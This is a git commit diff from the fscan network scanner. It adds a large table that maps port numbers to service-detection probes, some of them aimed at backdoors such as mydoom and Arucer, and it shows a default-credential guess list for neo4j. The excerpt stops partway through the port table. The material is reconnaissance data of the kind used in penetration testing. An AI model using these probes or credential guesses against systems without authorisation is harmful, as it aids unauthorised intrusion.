mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-06-21 10:21:21 +00:00
feat: 增加端口识别,修复插件总超时
This commit is contained in:
parent
a603e13d3b
commit
a42ee523b0
814
Common/Config.go
814
Common/Config.go
@ -31,6 +31,820 @@ var Userdict = map[string][]string{
|
|||||||
"neo4j": {"neo4j", "admin", "root", "test"},
|
"neo4j": {"neo4j", "admin", "root", "test"},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
var DefaultMap = []string{
|
||||||
|
"GenericLines",
|
||||||
|
"GetRequest",
|
||||||
|
"TLSSessionReq",
|
||||||
|
"SSLSessionReq",
|
||||||
|
"ms-sql-s",
|
||||||
|
"JavaRMI",
|
||||||
|
"LDAPSearchReq",
|
||||||
|
"LDAPBindReq",
|
||||||
|
"oracle-tns",
|
||||||
|
"Socks5",
|
||||||
|
}
|
||||||
|
|
||||||
|
var PortMap = map[int][]string{
|
||||||
|
1: {"GetRequest", "Help"},
|
||||||
|
7: {"Help"},
|
||||||
|
21: {"GenericLines", "Help"},
|
||||||
|
23: {"GenericLines", "tn3270"},
|
||||||
|
25: {"Hello", "Help"},
|
||||||
|
35: {"GenericLines"},
|
||||||
|
42: {"SMBProgNeg"},
|
||||||
|
43: {"GenericLines"},
|
||||||
|
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||||
|
70: {"GetRequest"},
|
||||||
|
79: {"GenericLines", "GetRequest", "Help"},
|
||||||
|
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
|
||||||
|
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
|
||||||
|
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||||
|
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
|
||||||
|
98: {"GenericLines"},
|
||||||
|
110: {"GenericLines"},
|
||||||
|
111: {"RPCCheck"},
|
||||||
|
113: {"GenericLines", "GetRequest", "Help"},
|
||||||
|
119: {"GenericLines", "Help"},
|
||||||
|
130: {"NotesRPC"},
|
||||||
|
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
|
||||||
|
139: {"GetRequest", "SMBProgNeg"},
|
||||||
|
143: {"GetRequest"},
|
||||||
|
175: {"NJE"},
|
||||||
|
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
|
||||||
|
214: {"GenericLines"},
|
||||||
|
256: {"LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
257: {"LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
261: {"SSLSessionReq"},
|
||||||
|
264: {"GenericLines"},
|
||||||
|
271: {"SSLSessionReq"},
|
||||||
|
280: {"GetRequest"},
|
||||||
|
322: {"RTSPRequest", "SSLSessionReq"},
|
||||||
|
324: {"SSLSessionReq"},
|
||||||
|
389: {"LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
390: {"LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
406: {"SIPOptions"},
|
||||||
|
427: {"NotesRPC"},
|
||||||
|
443: {"TLSSessionReq", "GetRequest", "HTTPOptions", "SSLSessionReq", "SSLv23SessionReq", "X11Probe", "FourOhFourRequest", "tor-versions", "OpenVPN"},
|
||||||
|
444: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
445: {"SMBProgNeg"},
|
||||||
|
448: {"SSLSessionReq"},
|
||||||
|
449: {"GenericLines"},
|
||||||
|
465: {"Hello", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
497: {"GetRequest", "X11Probe"},
|
||||||
|
500: {"OpenVPN"},
|
||||||
|
505: {"GenericLines", "GetRequest"},
|
||||||
|
510: {"GenericLines"},
|
||||||
|
512: {"DNSVersionBindReqTCP"},
|
||||||
|
513: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||||
|
514: {"GetRequest", "RPCCheck", "DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||||
|
515: {"GetRequest", "Help", "LPDString", "TerminalServer"},
|
||||||
|
523: {"ibm-db2-das", "ibm-db2"},
|
||||||
|
524: {"NCP"},
|
||||||
|
540: {"GenericLines", "GetRequest"},
|
||||||
|
543: {"DNSVersionBindReqTCP"},
|
||||||
|
544: {"RPCCheck", "DNSVersionBindReqTCP"},
|
||||||
|
548: {"SSLSessionReq", "SSLv23SessionReq", "afp"},
|
||||||
|
554: {"GetRequest", "RTSPRequest"},
|
||||||
|
563: {"SSLSessionReq"},
|
||||||
|
585: {"SSLSessionReq"},
|
||||||
|
587: {"GenericLines", "Hello", "Help"},
|
||||||
|
591: {"GetRequest"},
|
||||||
|
616: {"GenericLines"},
|
||||||
|
620: {"GetRequest"},
|
||||||
|
623: {"tn3270"},
|
||||||
|
628: {"GenericLines", "DNSVersionBindReqTCP"},
|
||||||
|
631: {"GetRequest", "HTTPOptions"},
|
||||||
|
636: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
637: {"LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
641: {"HTTPOptions"},
|
||||||
|
660: {"SMBProgNeg"},
|
||||||
|
666: {"GenericLines", "beast2"},
|
||||||
|
684: {"SSLSessionReq"},
|
||||||
|
706: {"JavaRMI", "mydoom", "WWWOFFLEctrlstat"},
|
||||||
|
710: {"RPCCheck"},
|
||||||
|
711: {"RPCCheck"},
|
||||||
|
731: {"GenericLines"},
|
||||||
|
771: {"GenericLines"},
|
||||||
|
782: {"GenericLines"},
|
||||||
|
783: {"GetRequest"},
|
||||||
|
853: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP", "SSLSessionReq"},
|
||||||
|
888: {"GetRequest"},
|
||||||
|
898: {"GetRequest"},
|
||||||
|
900: {"GetRequest"},
|
||||||
|
901: {"GetRequest"},
|
||||||
|
989: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
990: {"GenericLines", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
992: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "tn3270"},
|
||||||
|
993: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
994: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
995: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
999: {"JavaRMI"},
|
||||||
|
1000: {"GenericLines"},
|
||||||
|
1010: {"GenericLines"},
|
||||||
|
1025: {"SMBProgNeg"},
|
||||||
|
1026: {"GetRequest"},
|
||||||
|
1027: {"SMBProgNeg"},
|
||||||
|
1028: {"TerminalServer"},
|
||||||
|
1029: {"DNSVersionBindReqTCP"},
|
||||||
|
1030: {"JavaRMI"},
|
||||||
|
1031: {"SMBProgNeg"},
|
||||||
|
1035: {"JavaRMI", "oracle-tns"},
|
||||||
|
1040: {"GenericLines"},
|
||||||
|
1041: {"GenericLines"},
|
||||||
|
1042: {"GenericLines", "GetRequest"},
|
||||||
|
1043: {"GenericLines"},
|
||||||
|
1068: {"TerminalServer"},
|
||||||
|
1080: {"GenericLines", "GetRequest", "Socks5", "Socks4"},
|
||||||
|
1090: {"JavaRMI", "Socks5", "Socks4"},
|
||||||
|
1095: {"Socks5", "Socks4"},
|
||||||
|
1098: {"JavaRMI"},
|
||||||
|
1099: {"JavaRMI"},
|
||||||
|
1100: {"JavaRMI", "Socks5", "Socks4"},
|
||||||
|
1101: {"JavaRMI"},
|
||||||
|
1102: {"JavaRMI"},
|
||||||
|
1103: {"JavaRMI"},
|
||||||
|
1105: {"Socks5", "Socks4"},
|
||||||
|
1109: {"Socks5", "Socks4"},
|
||||||
|
1111: {"Help"},
|
||||||
|
1112: {"SMBProgNeg"},
|
||||||
|
1129: {"JavaRMI"},
|
||||||
|
1194: {"OpenVPN"},
|
||||||
|
1199: {"JavaRMI"},
|
||||||
|
1200: {"NCP"},
|
||||||
|
1212: {"GenericLines"},
|
||||||
|
1214: {"GetRequest"},
|
||||||
|
1217: {"NCP"},
|
||||||
|
1220: {"GenericLines", "GetRequest"},
|
||||||
|
1234: {"GetRequest", "JavaRMI"},
|
||||||
|
1241: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "NessusTPv12", "NessusTPv12", "NessusTPv11", "NessusTPv11", "NessusTPv10", "NessusTPv10"},
|
||||||
|
1248: {"GenericLines"},
|
||||||
|
1302: {"GenericLines"},
|
||||||
|
1311: {"GetRequest", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
1314: {"GetRequest"},
|
||||||
|
1344: {"GetRequest"},
|
||||||
|
1352: {"NotesRPC"},
|
||||||
|
1400: {"GenericLines"},
|
||||||
|
1414: {"ibm-mqseries"},
|
||||||
|
1415: {"ibm-mqseries"},
|
||||||
|
1416: {"ibm-mqseries"},
|
||||||
|
1417: {"ibm-mqseries"},
|
||||||
|
1418: {"ibm-mqseries"},
|
||||||
|
1419: {"ibm-mqseries"},
|
||||||
|
1420: {"ibm-mqseries"},
|
||||||
|
1432: {"GenericLines"},
|
||||||
|
1433: {"ms-sql-s", "RPCCheck"},
|
||||||
|
1440: {"JavaRMI"},
|
||||||
|
1443: {"GetRequest", "SSLSessionReq"},
|
||||||
|
1467: {"GenericLines"},
|
||||||
|
1500: {"Verifier"},
|
||||||
|
1501: {"GenericLines", "VerifierAdvanced"},
|
||||||
|
1503: {"GetRequest", "TerminalServer"},
|
||||||
|
1505: {"GenericLines"},
|
||||||
|
1521: {"oracle-tns"},
|
||||||
|
1522: {"oracle-tns"},
|
||||||
|
1525: {"oracle-tns"},
|
||||||
|
1526: {"oracle-tns", "informix", "drda"},
|
||||||
|
1527: {"drda"},
|
||||||
|
1549: {"WMSRequest"},
|
||||||
|
1550: {"X11Probe"},
|
||||||
|
1574: {"oracle-tns"},
|
||||||
|
1583: {"pervasive-relational", "pervasive-btrieve"},
|
||||||
|
1599: {"LibreOfficeImpressSCPair"},
|
||||||
|
1610: {"GetRequest"},
|
||||||
|
1611: {"GetRequest"},
|
||||||
|
1666: {"GenericLines"},
|
||||||
|
1687: {"GenericLines"},
|
||||||
|
1688: {"GenericLines"},
|
||||||
|
1702: {"LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
1720: {"TerminalServer"},
|
||||||
|
1748: {"oracle-tns"},
|
||||||
|
1754: {"oracle-tns"},
|
||||||
|
1755: {"WMSRequest"},
|
||||||
|
1761: {"LANDesk-RC"},
|
||||||
|
1762: {"LANDesk-RC"},
|
||||||
|
1763: {"LANDesk-RC"},
|
||||||
|
1830: {"GetRequest"},
|
||||||
|
1883: {"mqtt"},
|
||||||
|
1900: {"GetRequest"},
|
||||||
|
1911: {"niagara-fox"},
|
||||||
|
1935: {"TerminalServer"},
|
||||||
|
1962: {"pcworx"},
|
||||||
|
1972: {"NotesRPC"},
|
||||||
|
1981: {"JavaRMI"},
|
||||||
|
2000: {"SSLSessionReq", "SSLv23SessionReq", "NCP"},
|
||||||
|
2001: {"GetRequest"},
|
||||||
|
2002: {"GetRequest", "X11Probe"},
|
||||||
|
2010: {"GenericLines"},
|
||||||
|
2023: {"tn3270"},
|
||||||
|
2024: {"GenericLines"},
|
||||||
|
2030: {"GetRequest"},
|
||||||
|
2040: {"TerminalServer"},
|
||||||
|
2049: {"RPCCheck"},
|
||||||
|
2050: {"dominoconsole"},
|
||||||
|
2064: {"GetRequest"},
|
||||||
|
2068: {"DNSVersionBindReqTCP"},
|
||||||
|
2100: {"FourOhFourRequest"},
|
||||||
|
2105: {"DNSVersionBindReqTCP"},
|
||||||
|
2160: {"GetRequest"},
|
||||||
|
2181: {"Memcache"},
|
||||||
|
2199: {"JavaRMI"},
|
||||||
|
2221: {"SSLSessionReq"},
|
||||||
|
2252: {"TLSSessionReq", "SSLSessionReq", "NJE"},
|
||||||
|
2301: {"HTTPOptions"},
|
||||||
|
2306: {"GetRequest"},
|
||||||
|
2323: {"tn3270"},
|
||||||
|
2375: {"docker"},
|
||||||
|
2376: {"SSLSessionReq", "docker"},
|
||||||
|
2379: {"docker"},
|
||||||
|
2380: {"docker"},
|
||||||
|
2396: {"GetRequest"},
|
||||||
|
2401: {"Help"},
|
||||||
|
2443: {"SSLSessionReq"},
|
||||||
|
2481: {"giop"},
|
||||||
|
2482: {"giop"},
|
||||||
|
2525: {"GetRequest"},
|
||||||
|
2600: {"GenericLines"},
|
||||||
|
2627: {"Help"},
|
||||||
|
2701: {"LANDesk-RC"},
|
||||||
|
2715: {"GetRequest"},
|
||||||
|
2809: {"JavaRMI"},
|
||||||
|
2869: {"GetRequest"},
|
||||||
|
2947: {"LPDString"},
|
||||||
|
2967: {"DNSVersionBindReqTCP"},
|
||||||
|
3000: {"GenericLines", "GetRequest", "Help", "NCP"},
|
||||||
|
3001: {"NCP"},
|
||||||
|
3002: {"GetRequest", "NCP"},
|
||||||
|
3003: {"NCP"},
|
||||||
|
3004: {"NCP"},
|
||||||
|
3005: {"GenericLines", "NCP"},
|
||||||
|
3006: {"SMBProgNeg", "NCP"},
|
||||||
|
3025: {"Hello"},
|
||||||
|
3031: {"NCP"},
|
||||||
|
3050: {"firebird"},
|
||||||
|
3052: {"GetRequest", "RTSPRequest"},
|
||||||
|
3127: {"mydoom"},
|
||||||
|
3128: {"GenericLines", "GetRequest", "HTTPOptions", "mydoom", "Socks5", "Socks4"},
|
||||||
|
3129: {"mydoom"},
|
||||||
|
3130: {"mydoom"},
|
||||||
|
3131: {"mydoom"},
|
||||||
|
3132: {"mydoom"},
|
||||||
|
3133: {"mydoom"},
|
||||||
|
3134: {"mydoom"},
|
||||||
|
3135: {"mydoom"},
|
||||||
|
3136: {"mydoom"},
|
||||||
|
3137: {"mydoom"},
|
||||||
|
3138: {"mydoom"},
|
||||||
|
3139: {"mydoom"},
|
||||||
|
3140: {"mydoom"},
|
||||||
|
3141: {"mydoom"},
|
||||||
|
3142: {"mydoom"},
|
||||||
|
3143: {"mydoom"},
|
||||||
|
3144: {"mydoom"},
|
||||||
|
3145: {"mydoom"},
|
||||||
|
3146: {"mydoom"},
|
||||||
|
3147: {"mydoom"},
|
||||||
|
3148: {"mydoom"},
|
||||||
|
3149: {"mydoom"},
|
||||||
|
3150: {"mydoom"},
|
||||||
|
3151: {"mydoom"},
|
||||||
|
3152: {"mydoom"},
|
||||||
|
3153: {"mydoom"},
|
||||||
|
3154: {"mydoom"},
|
||||||
|
3155: {"mydoom"},
|
||||||
|
3156: {"mydoom"},
|
||||||
|
3157: {"mydoom"},
|
||||||
|
3158: {"mydoom"},
|
||||||
|
3159: {"mydoom"},
|
||||||
|
3160: {"mydoom"},
|
||||||
|
3161: {"mydoom"},
|
||||||
|
3162: {"mydoom"},
|
||||||
|
3163: {"mydoom"},
|
||||||
|
3164: {"mydoom"},
|
||||||
|
3165: {"mydoom"},
|
||||||
|
3166: {"mydoom"},
|
||||||
|
3167: {"mydoom"},
|
||||||
|
3168: {"mydoom"},
|
||||||
|
3169: {"mydoom"},
|
||||||
|
3170: {"mydoom"},
|
||||||
|
3171: {"mydoom"},
|
||||||
|
3172: {"mydoom"},
|
||||||
|
3173: {"mydoom"},
|
||||||
|
3174: {"mydoom"},
|
||||||
|
3175: {"mydoom"},
|
||||||
|
3176: {"mydoom"},
|
||||||
|
3177: {"mydoom"},
|
||||||
|
3178: {"mydoom"},
|
||||||
|
3179: {"mydoom"},
|
||||||
|
3180: {"mydoom"},
|
||||||
|
3181: {"mydoom"},
|
||||||
|
3182: {"mydoom"},
|
||||||
|
3183: {"mydoom"},
|
||||||
|
3184: {"mydoom"},
|
||||||
|
3185: {"mydoom"},
|
||||||
|
3186: {"mydoom"},
|
||||||
|
3187: {"mydoom"},
|
||||||
|
3188: {"mydoom"},
|
||||||
|
3189: {"mydoom"},
|
||||||
|
3190: {"mydoom"},
|
||||||
|
3191: {"mydoom"},
|
||||||
|
3192: {"mydoom"},
|
||||||
|
3193: {"mydoom"},
|
||||||
|
3194: {"mydoom"},
|
||||||
|
3195: {"mydoom"},
|
||||||
|
3196: {"mydoom"},
|
||||||
|
3197: {"mydoom"},
|
||||||
|
3198: {"mydoom"},
|
||||||
|
3268: {"LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
3269: {"LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
3273: {"JavaRMI"},
|
||||||
|
3280: {"GetRequest"},
|
||||||
|
3310: {"GenericLines", "VersionRequest"},
|
||||||
|
3333: {"GenericLines", "LPDString", "JavaRMI", "kumo-server"},
|
||||||
|
3351: {"pervasive-relational", "pervasive-btrieve"},
|
||||||
|
3372: {"GetRequest", "RTSPRequest"},
|
||||||
|
3388: {"TLSSessionReq", "TerminalServerCookie", "TerminalServer"},
|
||||||
|
3389: {"TerminalServerCookie", "TerminalServer", "TLSSessionReq"},
|
||||||
|
3443: {"GetRequest", "SSLSessionReq"},
|
||||||
|
3493: {"Help"},
|
||||||
|
3531: {"GetRequest"},
|
||||||
|
3632: {"DistCCD"},
|
||||||
|
3689: {"GetRequest"},
|
||||||
|
3790: {"metasploit-msgrpc"},
|
||||||
|
3872: {"GetRequest"},
|
||||||
|
3892: {"LDAPSearchReq", "LDAPBindReq"},
|
||||||
|
3900: {"SMBProgNeg", "JavaRMI"},
|
||||||
|
3940: {"GenericLines"},
|
||||||
|
4000: {"GetRequest", "NoMachine"},
|
||||||
|
4035: {"LDAPBindReq", "LDAPBindReq"},
|
||||||
|
4045: {"RPCCheck"},
|
||||||
|
4155: {"GenericLines"},
|
||||||
|
4369: {"epmd"},
|
||||||
|
4433: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
4443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "FourOhFourRequest"},
|
||||||
|
4444: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
4533: {"rotctl"},
|
||||||
|
4567: {"GetRequest"},
|
||||||
|
4660: {"GetRequest"},
|
||||||
|
4711: {"GetRequest", "piholeVersion"},
|
||||||
|
4899: {"Radmin"},
|
||||||
|
4911: {"SSLSessionReq", "niagara-fox"},
|
||||||
|
4999: {"RPCCheck"},
|
||||||
|
5000: {"GenericLines", "GetRequest", "RTSPRequest", "DNSVersionBindReqTCP", "SMBProgNeg", "ZendJavaBridge"},
|
||||||
|
5001: {"WMSRequest", "ZendJavaBridge"},
|
||||||
|
5002: {"ZendJavaBridge"},
|
||||||
|
5009: {"SMBProgNeg"},
|
||||||
|
5060: {"GetRequest", "SIPOptions"},
|
||||||
|
5061: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SIPOptions"},
|
||||||
|
5201: {"iperf3"},
|
||||||
|
5222: {"GetRequest"},
|
||||||
|
5232: {"HTTPOptions"},
|
||||||
|
5269: {"GetRequest"},
|
||||||
|
5280: {"GetRequest"},
|
||||||
|
5302: {"X11Probe"},
|
||||||
|
5323: {"DNSVersionBindReqTCP"},
|
||||||
|
5400: {"GenericLines"},
|
||||||
|
5427: {"GetRequest"},
|
||||||
|
5432: {"GenericLines", "GetRequest", "SMBProgNeg"},
|
||||||
|
5443: {"SSLSessionReq"},
|
||||||
|
5520: {"DNSVersionBindReqTCP", "JavaRMI"},
|
||||||
|
5521: {"JavaRMI"},
|
||||||
|
5530: {"DNSVersionBindReqTCP"},
|
||||||
|
5550: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
5555: {"GenericLines", "DNSVersionBindReqTCP", "SMBProgNeg", "adbConnect"},
|
||||||
|
5556: {"DNSVersionBindReqTCP"},
|
||||||
|
5570: {"GenericLines"},
|
||||||
|
5580: {"JavaRMI"},
|
||||||
|
5600: {"SMBProgNeg"},
|
||||||
|
5701: {"hazelcast-http"},
|
||||||
|
5702: {"hazelcast-http"},
|
||||||
|
5703: {"hazelcast-http"},
|
||||||
|
5704: {"hazelcast-http"},
|
||||||
|
5705: {"hazelcast-http"},
|
||||||
|
5706: {"hazelcast-http"},
|
||||||
|
5707: {"hazelcast-http"},
|
||||||
|
5708: {"hazelcast-http"},
|
||||||
|
5709: {"LANDesk-RC", "hazelcast-http"},
|
||||||
|
5800: {"GetRequest"},
|
||||||
|
5801: {"GetRequest"},
|
||||||
|
5802: {"GetRequest"},
|
||||||
|
5803: {"GetRequest"},
|
||||||
|
5868: {"SSLSessionReq"},
|
||||||
|
5900: {"GetRequest"},
|
||||||
|
5985: {"GetRequest"},
|
||||||
|
5986: {"GetRequest", "SSLSessionReq"},
|
||||||
|
5999: {"JavaRMI"},
|
||||||
|
6000: {"HTTPOptions", "X11Probe"},
|
||||||
|
6001: {"X11Probe"},
|
||||||
|
6002: {"X11Probe"},
|
||||||
|
6003: {"X11Probe"},
|
||||||
|
6004: {"X11Probe"},
|
||||||
|
6005: {"X11Probe"},
|
||||||
|
6006: {"X11Probe"},
|
||||||
|
6007: {"X11Probe"},
|
||||||
|
6008: {"X11Probe"},
|
||||||
|
6009: {"X11Probe"},
|
||||||
|
6010: {"X11Probe"},
|
||||||
|
6011: {"X11Probe"},
|
||||||
|
6012: {"X11Probe"},
|
||||||
|
6013: {"X11Probe"},
|
||||||
|
6014: {"X11Probe"},
|
||||||
|
6015: {"X11Probe"},
|
||||||
|
6016: {"X11Probe"},
|
||||||
|
6017: {"X11Probe"},
|
||||||
|
6018: {"X11Probe"},
|
||||||
|
6019: {"X11Probe"},
|
||||||
|
6020: {"X11Probe"},
|
||||||
|
6050: {"DNSStatusRequestTCP"},
|
||||||
|
6060: {"JavaRMI"},
|
||||||
|
6103: {"GetRequest"},
|
||||||
|
6112: {"GenericLines"},
|
||||||
|
6163: {"HELP4STOMP"},
|
||||||
|
6251: {"SSLSessionReq"},
|
||||||
|
6346: {"GetRequest"},
|
||||||
|
6379: {"redis-server"},
|
||||||
|
6432: {"GenericLines"},
|
||||||
|
6443: {"SSLSessionReq"},
|
||||||
|
6543: {"DNSVersionBindReqTCP"},
|
||||||
|
6544: {"GetRequest"},
|
||||||
|
6560: {"Help"},
|
||||||
|
6588: {"Socks5", "Socks4"},
|
||||||
|
6600: {"GetRequest"},
|
||||||
|
6660: {"Socks5", "Socks4"},
|
||||||
|
6661: {"Socks5", "Socks4"},
|
||||||
|
6662: {"Socks5", "Socks4"},
|
||||||
|
6663: {"Socks5", "Socks4"},
|
||||||
|
6664: {"Socks5", "Socks4"},
|
||||||
|
6665: {"Socks5", "Socks4"},
|
||||||
|
6666: {"Help", "Socks5", "Socks4", "beast2", "vp3"},
|
||||||
|
6667: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||||
|
6668: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||||
|
6669: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||||
|
6670: {"GenericLines", "Help"},
|
||||||
|
6679: {"TLSSessionReq", "SSLSessionReq"},
|
||||||
|
6697: {"TLSSessionReq", "SSLSessionReq"},
|
||||||
|
6699: {"GetRequest"},
|
||||||
|
6715: {"JMON", "JMON"},
|
||||||
|
6789: {"JavaRMI"},
|
||||||
|
6802: {"NCP"},
|
||||||
|
6969: {"GetRequest"},
|
||||||
|
6996: {"JavaRMI"},
|
||||||
|
7000: {"RPCCheck", "DNSVersionBindReqTCP", "SSLSessionReq", "X11Probe"},
|
||||||
|
7002: {"GetRequest"},
|
||||||
|
7007: {"GetRequest"},
|
||||||
|
7008: {"DNSVersionBindReqTCP"},
|
||||||
|
7070: {"GetRequest", "RTSPRequest"},
|
||||||
|
7100: {"GetRequest", "X11Probe"},
|
||||||
|
7101: {"X11Probe"},
|
||||||
|
7144: {"GenericLines"},
|
||||||
|
7145: {"GenericLines"},
|
||||||
|
7171: {"NotesRPC"},
|
||||||
|
7200: {"GenericLines"},
|
||||||
|
7210: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
7272: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
7402: {"GetRequest"},
|
||||||
|
7443: {"GetRequest", "SSLSessionReq"},
|
||||||
|
7461: {"SMBProgNeg"},
|
||||||
|
7700: {"JavaRMI"},
|
||||||
|
7776: {"GetRequest"},
|
||||||
|
7777: {"X11Probe", "Socks5", "Arucer"},
|
||||||
|
7780: {"GenericLines"},
|
||||||
|
7800: {"JavaRMI"},
|
||||||
|
7801: {"JavaRMI"},
|
||||||
|
7878: {"JavaRMI"},
|
||||||
|
7887: {"xmlsysd"},
|
||||||
|
7890: {"JavaRMI"},
|
||||||
|
8000: {"GenericLines", "GetRequest", "X11Probe", "FourOhFourRequest", "Socks5", "Socks4"},
|
||||||
|
8001: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8002: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8003: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8004: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8005: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8006: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8007: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8008: {"GetRequest", "FourOhFourRequest", "Socks5", "Socks4", "ajp"},
|
||||||
|
8009: {"GetRequest", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest", "ajp"},
|
||||||
|
8010: {"GetRequest", "FourOhFourRequest", "Socks5"},
|
||||||
|
8050: {"JavaRMI"},
|
||||||
|
8051: {"JavaRMI"},
|
||||||
|
8080: {"GetRequest", "HTTPOptions", "RTSPRequest", "FourOhFourRequest", "Socks5", "Socks4"},
|
||||||
|
8081: {"GetRequest", "FourOhFourRequest", "SIPOptions", "WWWOFFLEctrlstat"},
|
||||||
|
8082: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8083: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8084: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8085: {"GetRequest", "FourOhFourRequest", "JavaRMI"},
|
||||||
|
8087: {"riak-pbc"},
|
||||||
|
8088: {"GetRequest", "Socks5", "Socks4"},
|
||||||
|
8091: {"JavaRMI"},
|
||||||
|
8118: {"GetRequest"},
|
||||||
|
8138: {"GenericLines"},
|
||||||
|
8181: {"GetRequest", "SSLSessionReq"},
|
||||||
|
8194: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||||
|
8205: {"JavaRMI"},
|
||||||
|
8303: {"JavaRMI"},
|
||||||
|
8307: {"RPCCheck"},
|
||||||
|
8333: {"RPCCheck"},
|
||||||
|
8443: {"GetRequest", "HTTPOptions", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest"},
|
||||||
|
8530: {"GetRequest"},
|
||||||
|
8531: {"GetRequest", "SSLSessionReq"},
|
||||||
|
8642: {"JavaRMI"},
|
||||||
|
8686: {"JavaRMI"},
|
||||||
|
8701: {"JavaRMI"},
|
||||||
|
8728: {"NotesRPC"},
|
||||||
|
8770: {"apple-iphoto"},
|
||||||
|
8880: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8881: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8882: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8883: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "FourOhFourRequest", "mqtt"},
|
||||||
|
8884: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8885: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8886: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8887: {"GetRequest", "FourOhFourRequest"},
|
||||||
|
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI", "LSCP"},
|
||||||
|
8889: {"JavaRMI"},
|
||||||
|
8890: {"JavaRMI"},
|
||||||
|
8901: {"JavaRMI"},
|
||||||
|
8902: {"JavaRMI"},
|
||||||
|
8903: {"JavaRMI"},
|
||||||
|
8999: {"JavaRMI"},
|
||||||
|
9000: {"GenericLines", "GetRequest"},
|
||||||
|
9001: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "JavaRMI", "Radmin", "mongodb", "tarantool", "tor-versions"},
|
||||||
|
9002: {"GenericLines", "tor-versions"},
|
||||||
|
9003: {"GenericLines", "JavaRMI"},
|
||||||
|
9004: {"JavaRMI"},
|
||||||
|
9005: {"JavaRMI"},
|
||||||
|
9030: {"GetRequest"},
|
||||||
|
9050: {"GetRequest", "JavaRMI"},
|
||||||
|
9080: {"GetRequest"},
|
||||||
|
9088: {"informix", "drda"},
|
||||||
|
9089: {"informix", "drda"},
|
||||||
|
9090: {"GetRequest", "JavaRMI", "WMSRequest", "ibm-db2-das", "SqueezeCenter_CLI", "informix", "drda"},
|
||||||
|
9091: {"informix", "drda"},
|
||||||
|
9092: {"informix", "drda"},
|
||||||
|
9093: {"informix", "drda"},
|
||||||
|
9094: {"informix", "drda"},
|
||||||
|
9095: {"informix", "drda"},
|
||||||
|
9096: {"informix", "drda"},
|
||||||
|
9097: {"informix", "drda"},
|
||||||
|
9098: {"informix", "drda"},
|
||||||
|
9099: {"JavaRMI", "informix", "drda"},
|
||||||
|
9100: {"hp-pjl", "informix", "drda"},
|
||||||
|
9101: {"hp-pjl"},
|
||||||
|
9102: {"SMBProgNeg", "hp-pjl"},
|
||||||
|
9103: {"SMBProgNeg", "hp-pjl"},
|
||||||
|
9104: {"hp-pjl"},
|
